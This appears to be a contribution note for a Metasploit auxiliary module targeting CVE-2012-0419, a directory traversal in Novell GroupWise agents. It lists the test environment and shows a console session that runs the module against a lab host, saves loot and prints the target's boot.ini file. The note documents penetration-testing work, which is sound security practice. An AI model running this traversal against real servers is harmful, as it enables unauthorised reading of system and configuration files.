Added module for CVE-2012-0419

Tested with Groupwise 8.02HP2 over windows 2003 sp2, which can be downloaded from:

http://download.novell.com/protected/Summary.jsp?buildid=HJuDB3wNoeM~

In order to install groupwise a novell edirectory tree must be setup first.

```
msf > use auxiliary/scanner/http/groupwise_agents_http_traversal 
msf  auxiliary(groupwise_agents_http_traversal) > set rhosts 192.168.1.137
rhosts => 192.168.1.137
msf  auxiliary(groupwise_agents_http_traversal) > run

[+] 192.168.1.137:7181 - File saved in: /Users/juan/.msf4/loot/20130207204100_default_192.168.1.137_novell.groupwise_850949.ini
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(groupwise_agents_http_traversal) > cat /Users/juan/.msf4/loot/20130207204100_default_192.168.1.137_novell.groupwise_850949.ini
[*] exec: cat /Users/juan/.msf4/loot/20130207204100_default_192.168.1.137_novell.groupwise_850949.ini

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Standard" /noexecute=optout /fastdetect

```